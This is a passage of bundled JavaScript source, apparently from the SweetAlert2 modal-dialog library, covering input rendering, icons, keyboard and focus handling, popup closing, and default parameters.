  1961. inputContainer.className = swalClasses[inputClass];
  1962. if (rerender) {
  1963. hide(inputContainer);
  1964. }
  1965. });
  1966. if (params.input) {
  1967. if (rerender) {
  1968. showInput(params);
  1969. }
  1970. setCustomClass(params);
  1971. }
  1972. };
  1973. const showInput = (params) => {
  1974. if (!renderInputType[params.input]) {
  1975. error(`Unexpected type of input! Expected "text", "email", "password", "number", "tel", "select", "radio", "checkbox", "textarea", "file" or "url", got "${params.input}"`);
  1976. return;
  1977. }
  1978. const inputContainer = getInputContainer(params.input);
  1979. const input = renderInputType[params.input](inputContainer, params);
  1980. show(inputContainer);
  1981. setTimeout(() => {
  1982. focusInput(input);
  1983. });
  1984. };
  1985. const removeAttributes = (input) => {
  1986. for (let i = 0; i < input.attributes.length; i++) {
  1987. const attrName = input.attributes[i].name;
  1988. if (!["type", "value", "style"].includes(attrName)) {
  1989. input.removeAttribute(attrName);
  1990. }
  1991. }
  1992. };
  1993. const setAttributes = (inputClass, inputAttributes) => {
  1994. const input = getInput$1(getPopup(), inputClass);
  1995. if (!input) {
  1996. return;
  1997. }
  1998. removeAttributes(input);
  1999. for (const attr in inputAttributes) {
  2000. input.setAttribute(attr, inputAttributes[attr]);
  2001. }
  2002. };
  2003. const setCustomClass = (params) => {
  2004. const inputContainer = getInputContainer(params.input);
  2005. if (typeof params.customClass === "object") {
  2006. addClass(inputContainer, params.customClass.input);
  2007. }
  2008. };
  2009. const setInputPlaceholder = (input, params) => {
  2010. if (!input.placeholder || params.inputPlaceholder) {
  2011. input.placeholder = params.inputPlaceholder;
  2012. }
  2013. };
  2014. const setInputLabel = (input, prependTo, params) => {
  2015. if (params.inputLabel) {
  2016. input.id = swalClasses.input;
  2017. const label = document.createElement("label");
  2018. const labelClass = swalClasses["input-label"];
  2019. label.setAttribute("for", input.id);
  2020. label.className = labelClass;
  2021. if (typeof params.customClass === "object") {
  2022. addClass(label, params.customClass.inputLabel);
  2023. }
  2024. label.innerText = params.inputLabel;
  2025. prependTo.insertAdjacentElement("beforebegin", label);
  2026. }
  2027. };
  2028. const getInputContainer = (inputType) => {
  2029. return getDirectChildByClass(getPopup(), swalClasses[inputType] || swalClasses.input);
  2030. };
  2031. const checkAndSetInputValue = (input, inputValue) => {
  2032. if (["string", "number"].includes(typeof inputValue)) {
  2033. input.value = `${inputValue}`;
  2034. } else if (!isPromise(inputValue)) {
  2035. warn(`Unexpected type of inputValue! Expected "string", "number" or "Promise", got "${typeof inputValue}"`);
  2036. }
  2037. };
  2038. const renderInputType = {};
  2039. renderInputType.text = renderInputType.email = renderInputType.password = renderInputType.number = renderInputType.tel = renderInputType.url = (input, params) => {
  2040. checkAndSetInputValue(input, params.inputValue);
  2041. setInputLabel(input, input, params);
  2042. setInputPlaceholder(input, params);
  2043. input.type = params.input;
  2044. return input;
  2045. };
  2046. renderInputType.file = (input, params) => {
  2047. setInputLabel(input, input, params);
  2048. setInputPlaceholder(input, params);
  2049. return input;
  2050. };
  2051. renderInputType.range = (range, params) => {
  2052. const rangeInput = range.querySelector("input");
  2053. const rangeOutput = range.querySelector("output");
  2054. checkAndSetInputValue(rangeInput, params.inputValue);
  2055. rangeInput.type = params.input;
  2056. checkAndSetInputValue(rangeOutput, params.inputValue);
  2057. setInputLabel(rangeInput, range, params);
  2058. return range;
  2059. };
  2060. renderInputType.select = (select, params) => {
  2061. select.textContent = "";
  2062. if (params.inputPlaceholder) {
  2063. const placeholder = document.createElement("option");
  2064. setInnerHtml(placeholder, params.inputPlaceholder);
  2065. placeholder.value = "";
  2066. placeholder.disabled = true;
  2067. placeholder.selected = true;
  2068. select.appendChild(placeholder);
  2069. }
  2070. setInputLabel(select, select, params);
  2071. return select;
  2072. };
  2073. renderInputType.radio = (radio) => {
  2074. radio.textContent = "";
  2075. return radio;
  2076. };
  2077. renderInputType.checkbox = (checkboxContainer, params) => {
  2078. const checkbox = getInput$1(getPopup(), "checkbox");
  2079. checkbox.value = "1";
  2080. checkbox.id = swalClasses.checkbox;
  2081. checkbox.checked = Boolean(params.inputValue);
  2082. const label = checkboxContainer.querySelector("span");
  2083. setInnerHtml(label, params.inputPlaceholder);
  2084. return checkbox;
  2085. };
  2086. renderInputType.textarea = (textarea, params) => {
  2087. checkAndSetInputValue(textarea, params.inputValue);
  2088. setInputPlaceholder(textarea, params);
  2089. setInputLabel(textarea, textarea, params);
  2090. const getMargin = (el) => parseInt(window.getComputedStyle(el).marginLeft) + parseInt(window.getComputedStyle(el).marginRight);
  2091. setTimeout(() => {
  2092. if ("MutationObserver" in window) {
  2093. const initialPopupWidth = parseInt(window.getComputedStyle(getPopup()).width);
  2094. const textareaResizeHandler = () => {
  2095. const textareaWidth = textarea.offsetWidth + getMargin(textarea);
  2096. if (textareaWidth > initialPopupWidth) {
  2097. getPopup().style.width = `${textareaWidth}px`;
  2098. } else {
  2099. getPopup().style.width = null;
  2100. }
  2101. };
  2102. new MutationObserver(textareaResizeHandler).observe(textarea, {
  2103. attributes: true,
  2104. attributeFilter: ["style"]
  2105. });
  2106. }
  2107. });
  2108. return textarea;
  2109. };
  2110. const renderContent = (instance, params) => {
  2111. const htmlContainer = getHtmlContainer();
  2112. applyCustomClass(htmlContainer, params, "htmlContainer");
  2113. if (params.html) {
  2114. parseHtmlToContainer(params.html, htmlContainer);
  2115. show(htmlContainer, "block");
  2116. } else if (params.text) {
  2117. htmlContainer.textContent = params.text;
  2118. show(htmlContainer, "block");
  2119. } else {
  2120. hide(htmlContainer);
  2121. }
  2122. renderInput(instance, params);
  2123. };
  2124. const renderFooter = (instance, params) => {
  2125. const footer = getFooter();
  2126. toggle(footer, params.footer);
  2127. if (params.footer) {
  2128. parseHtmlToContainer(params.footer, footer);
  2129. }
  2130. applyCustomClass(footer, params, "footer");
  2131. };
  2132. const renderIcon = (instance, params) => {
  2133. const innerParams = privateProps.innerParams.get(instance);
  2134. const icon = getIcon();
  2135. if (innerParams && params.icon === innerParams.icon) {
  2136. setContent(icon, params);
  2137. applyStyles(icon, params);
  2138. return;
  2139. }
  2140. if (!params.icon && !params.iconHtml) {
  2141. hide(icon);
  2142. return;
  2143. }
  2144. if (params.icon && Object.keys(iconTypes).indexOf(params.icon) === -1) {
  2145. error(`Unknown icon! Expected "success", "error", "warning", "info" or "question", got "${params.icon}"`);
  2146. hide(icon);
  2147. return;
  2148. }
  2149. show(icon);
  2150. setContent(icon, params);
  2151. applyStyles(icon, params);
  2152. addClass(icon, params.showClass.icon);
  2153. };
  2154. const applyStyles = (icon, params) => {
  2155. for (const iconType in iconTypes) {
  2156. if (params.icon !== iconType) {
  2157. removeClass(icon, iconTypes[iconType]);
  2158. }
  2159. }
  2160. addClass(icon, iconTypes[params.icon]);
  2161. setColor(icon, params);
  2162. adjustSuccessIconBackgroundColor();
  2163. applyCustomClass(icon, params, "icon");
  2164. };
  2165. const adjustSuccessIconBackgroundColor = () => {
  2166. const popup = getPopup();
  2167. const popupBackgroundColor = window.getComputedStyle(popup).getPropertyValue("background-color");
  2168. const successIconParts = popup.querySelectorAll("[class^=swal2-success-circular-line], .swal2-success-fix");
  2169. for (let i = 0; i < successIconParts.length; i++) {
  2170. successIconParts[i].style.backgroundColor = popupBackgroundColor;
  2171. }
  2172. };
  2173. const successIconHtml = `
  2174. <div class="swal2-success-circular-line-left"></div>
  2175. <span class="swal2-success-line-tip"></span> <span class="swal2-success-line-long"></span>
  2176. <div class="swal2-success-ring"></div> <div class="swal2-success-fix"></div>
  2177. <div class="swal2-success-circular-line-right"></div>
  2178. `;
  2179. const errorIconHtml = `
  2180. <span class="swal2-x-mark">
  2181. <span class="swal2-x-mark-line-left"></span>
  2182. <span class="swal2-x-mark-line-right"></span>
  2183. </span>
  2184. `;
  2185. const setContent = (icon, params) => {
  2186. let oldContent = icon.innerHTML;
  2187. let newContent;
  2188. if (params.iconHtml) {
  2189. newContent = iconContent(params.iconHtml);
  2190. } else if (params.icon === "success") {
  2191. newContent = successIconHtml;
  2192. oldContent = oldContent.replace(/ style=".*?"/g, "");
  2193. } else if (params.icon === "error") {
  2194. newContent = errorIconHtml;
  2195. } else {
  2196. const defaultIconHtml = {
  2197. question: "?",
  2198. warning: "!",
  2199. info: "i"
  2200. };
  2201. newContent = iconContent(defaultIconHtml[params.icon]);
  2202. }
  2203. if (oldContent.trim() !== newContent.trim()) {
  2204. setInnerHtml(icon, newContent);
  2205. }
  2206. };
  2207. const setColor = (icon, params) => {
  2208. if (!params.iconColor) {
  2209. return;
  2210. }
  2211. icon.style.color = params.iconColor;
  2212. icon.style.borderColor = params.iconColor;
  2213. for (const sel of [".swal2-success-line-tip", ".swal2-success-line-long", ".swal2-x-mark-line-left", ".swal2-x-mark-line-right"]) {
  2214. setStyle(icon, sel, "backgroundColor", params.iconColor);
  2215. }
  2216. setStyle(icon, ".swal2-success-ring", "borderColor", params.iconColor);
  2217. };
  2218. const iconContent = (content) => `<div class="${swalClasses["icon-content"]}">${content}</div>`;
  2219. const renderImage = (instance, params) => {
  2220. const image = getImage();
  2221. if (!params.imageUrl) {
  2222. hide(image);
  2223. return;
  2224. }
  2225. show(image, "");
  2226. image.setAttribute("src", params.imageUrl);
  2227. image.setAttribute("alt", params.imageAlt);
  2228. applyNumericalStyle(image, "width", params.imageWidth);
  2229. applyNumericalStyle(image, "height", params.imageHeight);
  2230. image.className = swalClasses.image;
  2231. applyCustomClass(image, params, "image");
  2232. };
  2233. const renderPopup = (instance, params) => {
  2234. const container = getContainer();
  2235. const popup = getPopup();
  2236. if (params.toast) {
  2237. applyNumericalStyle(container, "width", params.width);
  2238. popup.style.width = "100%";
  2239. popup.insertBefore(getLoader(), getIcon());
  2240. } else {
  2241. applyNumericalStyle(popup, "width", params.width);
  2242. }
  2243. applyNumericalStyle(popup, "padding", params.padding);
  2244. if (params.color) {
  2245. popup.style.color = params.color;
  2246. }
  2247. if (params.background) {
  2248. popup.style.background = params.background;
  2249. }
  2250. hide(getValidationMessage());
  2251. addClasses$1(popup, params);
  2252. };
  2253. const addClasses$1 = (popup, params) => {
  2254. popup.className = `${swalClasses.popup} ${isVisible$1(popup) ? params.showClass.popup : ""}`;
  2255. if (params.toast) {
  2256. addClass([document.documentElement, document.body], swalClasses["toast-shown"]);
  2257. addClass(popup, swalClasses.toast);
  2258. } else {
  2259. addClass(popup, swalClasses.modal);
  2260. }
  2261. applyCustomClass(popup, params, "popup");
  2262. if (typeof params.customClass === "string") {
  2263. addClass(popup, params.customClass);
  2264. }
  2265. if (params.icon) {
  2266. addClass(popup, swalClasses[`icon-${params.icon}`]);
  2267. }
  2268. };
  2269. const renderProgressSteps = (instance, params) => {
  2270. const progressStepsContainer = getProgressSteps();
  2271. if (!params.progressSteps || params.progressSteps.length === 0) {
  2272. hide(progressStepsContainer);
  2273. return;
  2274. }
  2275. show(progressStepsContainer);
  2276. progressStepsContainer.textContent = "";
  2277. if (params.currentProgressStep >= params.progressSteps.length) {
  2278. warn("Invalid currentProgressStep parameter, it should be less than progressSteps.length (currentProgressStep like JS arrays starts from 0)");
  2279. }
  2280. params.progressSteps.forEach((step, index) => {
  2281. const stepEl = createStepElement(step);
  2282. progressStepsContainer.appendChild(stepEl);
  2283. if (index === params.currentProgressStep) {
  2284. addClass(stepEl, swalClasses["active-progress-step"]);
  2285. }
  2286. if (index !== params.progressSteps.length - 1) {
  2287. const lineEl = createLineElement(params);
  2288. progressStepsContainer.appendChild(lineEl);
  2289. }
  2290. });
  2291. };
  2292. const createStepElement = (step) => {
  2293. const stepEl = document.createElement("li");
  2294. addClass(stepEl, swalClasses["progress-step"]);
  2295. setInnerHtml(stepEl, step);
  2296. return stepEl;
  2297. };
  2298. const createLineElement = (params) => {
  2299. const lineEl = document.createElement("li");
  2300. addClass(lineEl, swalClasses["progress-step-line"]);
  2301. if (params.progressStepsDistance) {
  2302. applyNumericalStyle(lineEl, "width", params.progressStepsDistance);
  2303. }
  2304. return lineEl;
  2305. };
  2306. const renderTitle = (instance, params) => {
  2307. const title = getTitle();
  2308. toggle(title, params.title || params.titleText, "block");
  2309. if (params.title) {
  2310. parseHtmlToContainer(params.title, title);
  2311. }
  2312. if (params.titleText) {
  2313. title.innerText = params.titleText;
  2314. }
  2315. applyCustomClass(title, params, "title");
  2316. };
  2317. const render = (instance, params) => {
  2318. renderPopup(instance, params);
  2319. renderContainer(instance, params);
  2320. renderProgressSteps(instance, params);
  2321. renderIcon(instance, params);
  2322. renderImage(instance, params);
  2323. renderTitle(instance, params);
  2324. renderCloseButton(instance, params);
  2325. renderContent(instance, params);
  2326. renderActions(instance, params);
  2327. renderFooter(instance, params);
  2328. if (typeof params.didRender === "function") {
  2329. params.didRender(getPopup());
  2330. }
  2331. };
  2332. function hideLoading() {
  2333. const innerParams = privateProps.innerParams.get(this);
  2334. if (!innerParams) {
  2335. return;
  2336. }
  2337. const domCache = privateProps.domCache.get(this);
  2338. hide(domCache.loader);
  2339. if (isToast()) {
  2340. if (innerParams.icon) {
  2341. show(getIcon());
  2342. }
  2343. } else {
  2344. showRelatedButton(domCache);
  2345. }
  2346. removeClass([domCache.popup, domCache.actions], swalClasses.loading);
  2347. domCache.popup.removeAttribute("aria-busy");
  2348. domCache.popup.removeAttribute("data-loading");
  2349. domCache.confirmButton.disabled = false;
  2350. domCache.denyButton.disabled = false;
  2351. domCache.cancelButton.disabled = false;
  2352. }
  2353. const showRelatedButton = (domCache) => {
  2354. const buttonToReplace = domCache.popup.getElementsByClassName(domCache.loader.getAttribute("data-button-to-replace"));
  2355. if (buttonToReplace.length) {
  2356. show(buttonToReplace[0], "inline-block");
  2357. } else if (allButtonsAreHidden()) {
  2358. hide(domCache.actions);
  2359. }
  2360. };
  2361. function getInput(instance) {
  2362. const innerParams = privateProps.innerParams.get(instance || this);
  2363. const domCache = privateProps.domCache.get(instance || this);
  2364. if (!domCache) {
  2365. return null;
  2366. }
  2367. return getInput$1(domCache.popup, innerParams.input);
  2368. }
  2369. const isVisible = () => {
  2370. return isVisible$1(getPopup());
  2371. };
  2372. const clickConfirm = () => getConfirmButton() && getConfirmButton().click();
  2373. const clickDeny = () => getDenyButton() && getDenyButton().click();
  2374. const clickCancel = () => getCancelButton() && getCancelButton().click();
  2375. const DismissReason = Object.freeze({
  2376. cancel: "cancel",
  2377. backdrop: "backdrop",
  2378. close: "close",
  2379. esc: "esc",
  2380. timer: "timer"
  2381. });
  2382. const removeKeydownHandler = (globalState2) => {
  2383. if (globalState2.keydownTarget && globalState2.keydownHandlerAdded) {
  2384. globalState2.keydownTarget.removeEventListener("keydown", globalState2.keydownHandler, {
  2385. capture: globalState2.keydownListenerCapture
  2386. });
  2387. globalState2.keydownHandlerAdded = false;
  2388. }
  2389. };
  2390. const addKeydownHandler = (instance, globalState2, innerParams, dismissWith) => {
  2391. removeKeydownHandler(globalState2);
  2392. if (!innerParams.toast) {
  2393. globalState2.keydownHandler = (e) => keydownHandler(instance, e, dismissWith);
  2394. globalState2.keydownTarget = innerParams.keydownListenerCapture ? window : getPopup();
  2395. globalState2.keydownListenerCapture = innerParams.keydownListenerCapture;
  2396. globalState2.keydownTarget.addEventListener("keydown", globalState2.keydownHandler, {
  2397. capture: globalState2.keydownListenerCapture
  2398. });
  2399. globalState2.keydownHandlerAdded = true;
  2400. }
  2401. };
  2402. const setFocus = (index, increment) => {
  2403. const focusableElements = getFocusableElements();
  2404. if (focusableElements.length) {
  2405. index = index + increment;
  2406. if (index === focusableElements.length) {
  2407. index = 0;
  2408. } else if (index === -1) {
  2409. index = focusableElements.length - 1;
  2410. }
  2411. focusableElements[index].focus();
  2412. return;
  2413. }
  2414. getPopup().focus();
  2415. };
  2416. const arrowKeysNextButton = ["ArrowRight", "ArrowDown"];
  2417. const arrowKeysPreviousButton = ["ArrowLeft", "ArrowUp"];
  2418. const keydownHandler = (instance, event, dismissWith) => {
  2419. const innerParams = privateProps.innerParams.get(instance);
  2420. if (!innerParams) {
  2421. return;
  2422. }
  2423. if (event.isComposing || event.keyCode === 229) {
  2424. return;
  2425. }
  2426. if (innerParams.stopKeydownPropagation) {
  2427. event.stopPropagation();
  2428. }
  2429. if (event.key === "Enter") {
  2430. handleEnter(instance, event, innerParams);
  2431. } else if (event.key === "Tab") {
  2432. handleTab(event);
  2433. } else if ([...arrowKeysNextButton, ...arrowKeysPreviousButton].includes(event.key)) {
  2434. handleArrows(event.key);
  2435. } else if (event.key === "Escape") {
  2436. handleEsc(event, innerParams, dismissWith);
  2437. }
  2438. };
  2439. const handleEnter = (instance, event, innerParams) => {
  2440. if (!callIfFunction(innerParams.allowEnterKey)) {
  2441. return;
  2442. }
  2443. if (event.target && instance.getInput() && event.target instanceof HTMLElement && event.target.outerHTML === instance.getInput().outerHTML) {
  2444. if (["textarea", "file"].includes(innerParams.input)) {
  2445. return;
  2446. }
  2447. clickConfirm();
  2448. event.preventDefault();
  2449. }
  2450. };
  2451. const handleTab = (event) => {
  2452. const targetElement = event.target;
  2453. const focusableElements = getFocusableElements();
  2454. let btnIndex = -1;
  2455. for (let i = 0; i < focusableElements.length; i++) {
  2456. if (targetElement === focusableElements[i]) {
  2457. btnIndex = i;
  2458. break;
  2459. }
  2460. }
  2461. if (!event.shiftKey) {
  2462. setFocus(btnIndex, 1);
  2463. } else {
  2464. setFocus(btnIndex, -1);
  2465. }
  2466. event.stopPropagation();
  2467. event.preventDefault();
  2468. };
  2469. const handleArrows = (key) => {
  2470. const confirmButton = getConfirmButton();
  2471. const denyButton = getDenyButton();
  2472. const cancelButton = getCancelButton();
  2473. if (document.activeElement instanceof HTMLElement && ![confirmButton, denyButton, cancelButton].includes(document.activeElement)) {
  2474. return;
  2475. }
  2476. const sibling = arrowKeysNextButton.includes(key) ? "nextElementSibling" : "previousElementSibling";
  2477. let buttonToFocus = document.activeElement;
  2478. for (let i = 0; i < getActions().children.length; i++) {
  2479. buttonToFocus = buttonToFocus[sibling];
  2480. if (!buttonToFocus) {
  2481. return;
  2482. }
  2483. if (buttonToFocus instanceof HTMLButtonElement && isVisible$1(buttonToFocus)) {
  2484. break;
  2485. }
  2486. }
  2487. if (buttonToFocus instanceof HTMLButtonElement) {
  2488. buttonToFocus.focus();
  2489. }
  2490. };
  2491. const handleEsc = (event, innerParams, dismissWith) => {
  2492. if (callIfFunction(innerParams.allowEscapeKey)) {
  2493. event.preventDefault();
  2494. dismissWith(DismissReason.esc);
  2495. }
  2496. };
  2497. var privateMethods = {
  2498. swalPromiseResolve: /* @__PURE__ */ new WeakMap(),
  2499. swalPromiseReject: /* @__PURE__ */ new WeakMap()
  2500. };
  2501. const setAriaHidden = () => {
  2502. const bodyChildren = Array.from(document.body.children);
  2503. bodyChildren.forEach((el) => {
  2504. if (el === getContainer() || el.contains(getContainer())) {
  2505. return;
  2506. }
  2507. if (el.hasAttribute("aria-hidden")) {
  2508. el.setAttribute("data-previous-aria-hidden", el.getAttribute("aria-hidden"));
  2509. }
  2510. el.setAttribute("aria-hidden", "true");
  2511. });
  2512. };
  2513. const unsetAriaHidden = () => {
  2514. const bodyChildren = Array.from(document.body.children);
  2515. bodyChildren.forEach((el) => {
  2516. if (el.hasAttribute("data-previous-aria-hidden")) {
  2517. el.setAttribute("aria-hidden", el.getAttribute("data-previous-aria-hidden"));
  2518. el.removeAttribute("data-previous-aria-hidden");
  2519. } else {
  2520. el.removeAttribute("aria-hidden");
  2521. }
  2522. });
  2523. };
  2524. const iOSfix = () => {
  2525. const iOS = /iPad|iPhone|iPod/.test(navigator.userAgent) && !window.MSStream || navigator.platform === "MacIntel" && navigator.maxTouchPoints > 1;
  2526. if (iOS && !hasClass(document.body, swalClasses.iosfix)) {
  2527. const offset = document.body.scrollTop;
  2528. document.body.style.top = `${offset * -1}px`;
  2529. addClass(document.body, swalClasses.iosfix);
  2530. lockBodyScroll();
  2531. addBottomPaddingForTallPopups();
  2532. }
  2533. };
  2534. const addBottomPaddingForTallPopups = () => {
  2535. const ua = navigator.userAgent;
  2536. const iOS = !!ua.match(/iPad/i) || !!ua.match(/iPhone/i);
  2537. const webkit = !!ua.match(/WebKit/i);
  2538. const iOSSafari = iOS && webkit && !ua.match(/CriOS/i);
  2539. if (iOSSafari) {
  2540. const bottomPanelHeight = 44;
  2541. if (getPopup().scrollHeight > window.innerHeight - bottomPanelHeight) {
  2542. getContainer().style.paddingBottom = `${bottomPanelHeight}px`;
  2543. }
  2544. }
  2545. };
  2546. const lockBodyScroll = () => {
  2547. const container = getContainer();
  2548. let preventTouchMove;
  2549. container.ontouchstart = (event) => {
  2550. preventTouchMove = shouldPreventTouchMove(event);
  2551. };
  2552. container.ontouchmove = (event) => {
  2553. if (preventTouchMove) {
  2554. event.preventDefault();
  2555. event.stopPropagation();
  2556. }
  2557. };
  2558. };
  2559. const shouldPreventTouchMove = (event) => {
  2560. const target = event.target;
  2561. const container = getContainer();
  2562. if (isStylus(event) || isZoom(event)) {
  2563. return false;
  2564. }
  2565. if (target === container) {
  2566. return true;
  2567. }
  2568. if (!isScrollable(container) && target instanceof HTMLElement && target.tagName !== "INPUT" && target.tagName !== "TEXTAREA" && !(isScrollable(getHtmlContainer()) && getHtmlContainer().contains(target))) {
  2569. return true;
  2570. }
  2571. return false;
  2572. };
  2573. const isStylus = (event) => {
  2574. return event.touches && event.touches.length && event.touches[0].touchType === "stylus";
  2575. };
  2576. const isZoom = (event) => {
  2577. return event.touches && event.touches.length > 1;
  2578. };
  2579. const undoIOSfix = () => {
  2580. if (hasClass(document.body, swalClasses.iosfix)) {
  2581. const offset = parseInt(document.body.style.top, 10);
  2582. removeClass(document.body, swalClasses.iosfix);
  2583. document.body.style.top = "";
  2584. document.body.scrollTop = offset * -1;
  2585. }
  2586. };
  2587. const fixScrollbar = () => {
  2588. if (states.previousBodyPadding !== null) {
  2589. return;
  2590. }
  2591. if (document.body.scrollHeight > window.innerHeight) {
  2592. states.previousBodyPadding = parseInt(window.getComputedStyle(document.body).getPropertyValue("padding-right"));
  2593. document.body.style.paddingRight = `${states.previousBodyPadding + measureScrollbar()}px`;
  2594. }
  2595. };
  2596. const undoScrollbar = () => {
  2597. if (states.previousBodyPadding !== null) {
  2598. document.body.style.paddingRight = `${states.previousBodyPadding}px`;
  2599. states.previousBodyPadding = null;
  2600. }
  2601. };
  2602. function removePopupAndResetState(instance, container, returnFocus, didClose) {
  2603. if (isToast()) {
  2604. triggerDidCloseAndDispose(instance, didClose);
  2605. } else {
  2606. restoreActiveElement(returnFocus).then(() => triggerDidCloseAndDispose(instance, didClose));
  2607. removeKeydownHandler(globalState);
  2608. }
  2609. const isSafari = /^((?!chrome|android).)*safari/i.test(navigator.userAgent);
  2610. if (isSafari) {
  2611. container.setAttribute("style", "display:none !important");
  2612. container.removeAttribute("class");
  2613. container.innerHTML = "";
  2614. } else {
  2615. container.remove();
  2616. }
  2617. if (isModal()) {
  2618. undoScrollbar();
  2619. undoIOSfix();
  2620. unsetAriaHidden();
  2621. }
  2622. removeBodyClasses();
  2623. }
  2624. function removeBodyClasses() {
  2625. removeClass([document.documentElement, document.body], [swalClasses.shown, swalClasses["height-auto"], swalClasses["no-backdrop"], swalClasses["toast-shown"]]);
  2626. }
  2627. function close(resolveValue) {
  2628. resolveValue = prepareResolveValue(resolveValue);
  2629. const swalPromiseResolve = privateMethods.swalPromiseResolve.get(this);
  2630. const didClose = triggerClosePopup(this);
  2631. if (this.isAwaitingPromise()) {
  2632. if (!resolveValue.isDismissed) {
  2633. handleAwaitingPromise(this);
  2634. swalPromiseResolve(resolveValue);
  2635. }
  2636. } else if (didClose) {
  2637. swalPromiseResolve(resolveValue);
  2638. }
  2639. }
  2640. function isAwaitingPromise() {
  2641. return !!privateProps.awaitingPromise.get(this);
  2642. }
  2643. const triggerClosePopup = (instance) => {
  2644. const popup = getPopup();
  2645. if (!popup) {
  2646. return false;
  2647. }
  2648. const innerParams = privateProps.innerParams.get(instance);
  2649. if (!innerParams || hasClass(popup, innerParams.hideClass.popup)) {
  2650. return false;
  2651. }
  2652. removeClass(popup, innerParams.showClass.popup);
  2653. addClass(popup, innerParams.hideClass.popup);
  2654. const backdrop = getContainer();
  2655. removeClass(backdrop, innerParams.showClass.backdrop);
  2656. addClass(backdrop, innerParams.hideClass.backdrop);
  2657. handlePopupAnimation(instance, popup, innerParams);
  2658. return true;
  2659. };
  2660. function rejectPromise(error2) {
  2661. const rejectPromise2 = privateMethods.swalPromiseReject.get(this);
  2662. handleAwaitingPromise(this);
  2663. if (rejectPromise2) {
  2664. rejectPromise2(error2);
  2665. }
  2666. }
  2667. const handleAwaitingPromise = (instance) => {
  2668. if (instance.isAwaitingPromise()) {
  2669. privateProps.awaitingPromise.delete(instance);
  2670. if (!privateProps.innerParams.get(instance)) {
  2671. instance._destroy();
  2672. }
  2673. }
  2674. };
  2675. const prepareResolveValue = (resolveValue) => {
  2676. if (typeof resolveValue === "undefined") {
  2677. return {
  2678. isConfirmed: false,
  2679. isDenied: false,
  2680. isDismissed: true
  2681. };
  2682. }
  2683. return Object.assign({
  2684. isConfirmed: false,
  2685. isDenied: false,
  2686. isDismissed: false
  2687. }, resolveValue);
  2688. };
  2689. const handlePopupAnimation = (instance, popup, innerParams) => {
  2690. const container = getContainer();
  2691. const animationIsSupported = animationEndEvent && hasCssAnimation(popup);
  2692. if (typeof innerParams.willClose === "function") {
  2693. innerParams.willClose(popup);
  2694. }
  2695. if (animationIsSupported) {
  2696. animatePopup(instance, popup, container, innerParams.returnFocus, innerParams.didClose);
  2697. } else {
  2698. removePopupAndResetState(instance, container, innerParams.returnFocus, innerParams.didClose);
  2699. }
  2700. };
  2701. const animatePopup = (instance, popup, container, returnFocus, didClose) => {
  2702. globalState.swalCloseEventFinishedCallback = removePopupAndResetState.bind(null, instance, container, returnFocus, didClose);
  2703. popup.addEventListener(animationEndEvent, function(e) {
  2704. if (e.target === popup) {
  2705. globalState.swalCloseEventFinishedCallback();
  2706. delete globalState.swalCloseEventFinishedCallback;
  2707. }
  2708. });
  2709. };
  2710. const triggerDidCloseAndDispose = (instance, didClose) => {
  2711. setTimeout(() => {
  2712. if (typeof didClose === "function") {
  2713. didClose.bind(instance.params)();
  2714. }
  2715. instance._destroy();
  2716. });
  2717. };
  2718. function setButtonsDisabled(instance, buttons, disabled) {
  2719. const domCache = privateProps.domCache.get(instance);
  2720. buttons.forEach((button) => {
  2721. domCache[button].disabled = disabled;
  2722. });
  2723. }
  2724. function setInputDisabled(input, disabled) {
  2725. if (!input) {
  2726. return;
  2727. }
  2728. if (input.type === "radio") {
  2729. const radiosContainer = input.parentNode.parentNode;
  2730. const radios = radiosContainer.querySelectorAll("input");
  2731. for (let i = 0; i < radios.length; i++) {
  2732. radios[i].disabled = disabled;
  2733. }
  2734. } else {
  2735. input.disabled = disabled;
  2736. }
  2737. }
  2738. function enableButtons() {
  2739. setButtonsDisabled(this, ["confirmButton", "denyButton", "cancelButton"], false);
  2740. }
  2741. function disableButtons() {
  2742. setButtonsDisabled(this, ["confirmButton", "denyButton", "cancelButton"], true);
  2743. }
  2744. function enableInput() {
  2745. setInputDisabled(this.getInput(), false);
  2746. }
  2747. function disableInput() {
  2748. setInputDisabled(this.getInput(), true);
  2749. }
  2750. function showValidationMessage(error2) {
  2751. const domCache = privateProps.domCache.get(this);
  2752. const params = privateProps.innerParams.get(this);
  2753. setInnerHtml(domCache.validationMessage, error2);
  2754. domCache.validationMessage.className = swalClasses["validation-message"];
  2755. if (params.customClass && params.customClass.validationMessage) {
  2756. addClass(domCache.validationMessage, params.customClass.validationMessage);
  2757. }
  2758. show(domCache.validationMessage);
  2759. const input = this.getInput();
  2760. if (input) {
  2761. input.setAttribute("aria-invalid", true);
  2762. input.setAttribute("aria-describedby", swalClasses["validation-message"]);
  2763. focusInput(input);
  2764. addClass(input, swalClasses.inputerror);
  2765. }
  2766. }
  2767. function resetValidationMessage() {
  2768. const domCache = privateProps.domCache.get(this);
  2769. if (domCache.validationMessage) {
  2770. hide(domCache.validationMessage);
  2771. }
  2772. const input = this.getInput();
  2773. if (input) {
  2774. input.removeAttribute("aria-invalid");
  2775. input.removeAttribute("aria-describedby");
  2776. removeClass(input, swalClasses.inputerror);
  2777. }
  2778. }
  2779. const defaultParams = {
  2780. title: "",
  2781. titleText: "",
  2782. text: "",
  2783. html: "",
  2784. footer: "",
  2785. icon: void 0,
  2786. iconColor: void 0,
  2787. iconHtml: void 0,
  2788. template: void 0,
  2789. toast: false,
  2790. showClass: {
  2791. popup: "swal2-show",
  2792. backdrop: "swal2-backdrop-show",
  2793. icon: "swal2-icon-show"
  2794. },
  2795. hideClass: {
  2796. popup: "swal2-hide",
  2797. backdrop: "swal2-backdrop-hide",
  2798. icon: "swal2-icon-hide"
  2799. },
  2800. customClass: {},
  2801. target: "body",
  2802. color: void 0,
  2803. backdrop: true,
  2804. heightAuto: true,
  2805. allowOutsideClick: true,
  2806. allowEscapeKey: true,
  2807. allowEnterKey: true,
  2808. stopKeydownPropagation: true,
  2809. keydownListenerCapture: false,
  2810. showConfirmButton: true,
  2811. showDenyButton: false,
  2812. showCancelButton: false,
  2813. preConfirm: void 0,
  2814. preDeny: void 0,
  2815. confirmButtonText: "OK",
  2816. confirmButtonAriaLabel: "",
  2817. confirmButtonColor: void 0,
  2818. denyButtonText: "No",
  2819. denyButtonAriaLabel: "",
  2820. denyButtonColor: void 0,
  2821. cancelButtonText: "Cancel",
  2822. cancelButtonAriaLabel: "",
  2823. cancelButtonColor: void 0,
  2824. buttonsStyling: true,
  2825. reverseButtons: false,
  2826. focusConfirm: true,
  2827. focusDeny: false,
  2828. focusCancel: false,
  2829. returnFocus: true,
  2830. showCloseButton: false,
  2831. closeButtonHtml: "&times;",
  2832. closeButtonAriaLabel: "Close this dialog",
